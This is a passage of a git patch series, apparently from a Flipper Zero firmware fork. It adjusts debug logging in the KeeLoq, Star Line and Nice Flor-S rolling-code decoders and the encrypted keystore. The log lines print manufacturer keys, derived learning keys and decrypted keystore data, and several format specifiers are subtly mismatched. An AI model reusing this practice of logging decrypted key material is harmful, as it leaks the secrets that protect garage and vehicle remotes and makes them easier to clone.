*manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -487,6 +494,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( man_rev_byte = (uint8_t)(manufacture_code->key >> i); man_rev = man_rev | man_rev_byte << (56 - i); } + FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -497,12 +505,16 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "man_learning: %llX", man_normal_learning); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; } man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); + FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); + FURI_LOG_I(TAG, "man_learning: %llX", man_normal_learning); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index 57eea544f..20f8f6b7c 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -139,6 +139,7 @@ static bool subghz_keystore_read_file(SubGhzKeystore* instance, Stream* stream, if(furi_hal_crypto_decrypt( (uint8_t*)encrypted_line, (uint8_t*)decrypted_line, len)) { subghz_keystore_process_line(instance, decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %llX", decrypted_line); } else { FURI_LOG_E(TAG, "Decryption failed"); result = false; @@ -578,7 +579,9 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* buffer[i / 2] = (hi_nibble << 4) | lo_nibble; } + FURI_LOG_I(TAG, "decrypted line: %llX", decrypted_line); memset(decrypted_line, 0, SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE); + FURI_LOG_I(TAG, "decrypted line: %llX", decrypted_line); if(!furi_hal_crypto_decrypt( (uint8_t*)buffer, (uint8_t*)decrypted_line, bufer_size / 2)) { @@ -587,7 +590,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* break; } memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); - FURI_LOG_I(TAG, "decrypted line: %016X", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %llX", decrypted_line); } while(0); furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); From c6d6c89a860885865d7ee7082e30fef09a3fe779 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 1 Apr 2022 23:20:31 +0300 Subject: [PATCH 043/461] fix --- lib/subghz/protocols/keeloq.c | 14 -------------- lib/subghz/protocols/star_line.c | 6 +----- 2 files changed, 1 insertion(+), 19 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index b6c976f3d..2d48835d8 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -494,7 +494,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -505,7 +504,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -516,7 +514,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -538,8 +535,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( man_rev_byte = (uint8_t)(manufacture_code->key >> i); man_rev = man_rev | man_rev_byte << (56 - i); } - FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -550,7 +545,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -559,8 +553,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Check for mirrored man man = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); - FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -571,7 +563,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -580,8 +571,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Check for mirrored man man = subghz_protocol_keeloq_common_secure_learning(fix, seed, man_rev); - FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -592,7 +581,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -601,8 +589,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Check for mirrored man man = subghz_protocol_keeloq_common_magic_xor_type1_learning(fix, man_rev); - FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 1b050ccbd..9e7fcc739 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -126,6 +126,7 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in instance->generic.cnt; uint32_t hop = 0; uint64_t man = 0; + uint64_t code_found_reverse; int res = 0; for @@ -472,7 +473,6 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); - FURI_LOG_I(TAG, "man_learning: %llX", man); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -494,7 +494,6 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( man_rev_byte = (uint8_t)(manufacture_code->key >> i); man_rev = man_rev | man_rev_byte << (56 - i); } - FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -506,15 +505,12 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); - FURI_LOG_I(TAG, "man_learning: %llX", man_normal_learning); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; } man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); - FURI_LOG_I(TAG, "man_learning_rev: %llX", man_rev); - FURI_LOG_I(TAG, "man_learning: %llX", man_normal_learning); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); From 70b51c31f30e50120ac31d13ec1a4e3daffff459 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 1 Apr 2022 23:46:41 +0300 Subject: [PATCH 044/461] fix --- lib/subghz/protocols/keeloq.c | 18 +++++++++--------- lib/subghz/protocols/nice_flor_s.c | 12 ++++++------ lib/subghz/protocols/star_line.c | 10 +++++----- lib/subghz/subghz_keystore.c | 8 ++++---- 4 files changed, 24 insertions(+), 24 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 2d48835d8..5249b7f5a 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -154,7 +154,7 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; - FURI_LOG_I(TAG, "hop = %llX", hop); + FURI_LOG_I(TAG, "hop = %X", hop); break; } break; @@ -483,7 +483,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -493,7 +493,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -503,7 +503,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -513,7 +513,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -523,7 +523,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -544,7 +544,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -562,7 +562,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -580,7 +580,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Magic xor type1 learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 0c5727036..b39971462 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -128,13 +128,13 @@ static bool } instance->generic.cnt++; - FURI_LOG_I(TAG, "serial = %llX", instance->generic.serial); - FURI_LOG_I(TAG, "counter = %llX", instance->generic.cnt); - FURI_LOG_I(TAG, "button = %llX", btn); + FURI_LOG_I(TAG, "serial = %07lX", instance->generic.serial); + FURI_LOG_I(TAG, "counter = %04lX", instance->generic.cnt); + FURI_LOG_I(TAG, "button = %01lX", btn); uint64_t decrypt = ((uint64_t)instance->generic.serial << 16) | instance->generic.cnt; - FURI_LOG_I(TAG, "decrypt = %llX", decrypt); + FURI_LOG_I(TAG, "decrypt = %011lX", decrypt); uint64_t enc_part = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - FURI_LOG_I(TAG, "enc_part = %llX", enc_part); + FURI_LOG_I(TAG, "enc_part = %011lX", enc_part); for (int i = 0; i < 16; i++) { @@ -170,7 +170,7 @@ static bool //Button 4 instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[3][i]) << 44 | enc_part; } - FURI_LOG_I(TAG, "key = %llX", instance->generic.data); + FURI_LOG_I(TAG, "key = %013lX", instance->generic.data); //Send header for(uint8_t i = 35; i > 0; i--) { diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 9e7fcc739..98b64666d 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -153,7 +153,7 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; - FURI_LOG_I(TAG, "hop = %llX", hop); + FURI_LOG_I(TAG, "hop = %X", hop); break; } break; @@ -461,7 +461,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: //Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -472,7 +472,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -482,7 +482,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -504,7 +504,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %llX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index 20f8f6b7c..ac238099b 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -139,7 +139,7 @@ static bool subghz_keystore_read_file(SubGhzKeystore* instance, Stream* stream, if(furi_hal_crypto_decrypt( (uint8_t*)encrypted_line, (uint8_t*)decrypted_line, len)) { subghz_keystore_process_line(instance, decrypted_line); - FURI_LOG_I(TAG, "decrypted line: %llX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); } else { FURI_LOG_E(TAG, "Decryption failed"); result = false; @@ -579,9 +579,9 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* buffer[i / 2] = (hi_nibble << 4) | lo_nibble; } - FURI_LOG_I(TAG, "decrypted line: %llX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); memset(decrypted_line, 0, SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE); - FURI_LOG_I(TAG, "decrypted line: %llX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); if(!furi_hal_crypto_decrypt( (uint8_t*)buffer, (uint8_t*)decrypted_line, bufer_size / 2)) { @@ -590,7 +590,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* break; } memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); - FURI_LOG_I(TAG, "decrypted line: %llX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); } while(0); furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); From 3c1cec9d64599dacb3b3b70f3c353c622264f88f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 1 Apr 2022 23:51:03 +0300 Subject: [PATCH 045/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index b39971462..c5b41c074 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -323,7 +323,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam k = ~p[3]; p[3] = ~p[1]; p[1] = k; - FURI_LOG_I(TAG, "encrypted_data = %llX", data); + FURI_LOG_I(TAG, "encrypted_data = %011lX", data); return data; } @@ -362,7 +362,7 @@ static uint64_t p[1] = k; } } - FURI_LOG_I(TAG, "decrypted_data = %llX", data); + FURI_LOG_I(TAG, "decrypted_data = %011lX", data); return data; } @@ -507,7 +507,7 @@ static void subghz_protocol_nice_flor_s_remote_controller( instance->btn = 0; } else { uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name); - FURI_LOG_I(TAG, "init_decrypted_data = %llX", decrypt); + FURI_LOG_I(TAG, "init_decrypted_data = %013lX", decrypt); instance->cnt = decrypt & 0xFFFF; instance->serial = (decrypt >> 16) & 0xFFFFFFF; instance->btn = (decrypt >> 48) & 0xF; From a26dcd7bf753896db15c8a2a3579aa264dce256c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 2 Apr 2022 00:14:16 +0300 Subject: [PATCH 046/461] never sleep --- lib/subghz/protocols/keeloq.c | 16 ++++++++-------- lib/subghz/protocols/nice_flor_s.c | 12 ++++++------ lib/subghz/protocols/star_line.c | 8 ++++---- lib/subghz/subghz_keystore.c | 8 ++++---- 4 files changed, 22 insertions(+), 22 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 5249b7f5a..27a360e00 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -483,7 +483,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -493,7 +493,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -503,7 +503,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -513,7 +513,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -523,7 +523,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -544,7 +544,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -562,7 +562,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -580,7 +580,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Magic xor type1 learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index c5b41c074..ae5e56c18 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -132,9 +132,9 @@ static bool FURI_LOG_I(TAG, "counter = %04lX", instance->generic.cnt); FURI_LOG_I(TAG, "button = %01lX", btn); uint64_t decrypt = ((uint64_t)instance->generic.serial << 16) | instance->generic.cnt; - FURI_LOG_I(TAG, "decrypt = %011lX", decrypt); + FURI_LOG_I(TAG, "decrypt = %011lX", (uint64_t)decrypt); uint64_t enc_part = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - FURI_LOG_I(TAG, "enc_part = %011lX", enc_part); + FURI_LOG_I(TAG, "enc_part = %011lX", (uint64_t)enc_part); for (int i = 0; i < 16; i++) { @@ -170,7 +170,7 @@ static bool //Button 4 instance->generic.data = ((uint64_t)btn << 4) | (0xF ^ btn ^ loops[3][i]) << 44 | enc_part; } - FURI_LOG_I(TAG, "key = %013lX", instance->generic.data); + FURI_LOG_I(TAG, "key = %013lX", (uint64_t)instance->generic.data); //Send header for(uint8_t i = 35; i > 0; i--) { @@ -323,7 +323,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam k = ~p[3]; p[3] = ~p[1]; p[1] = k; - FURI_LOG_I(TAG, "encrypted_data = %011lX", data); + 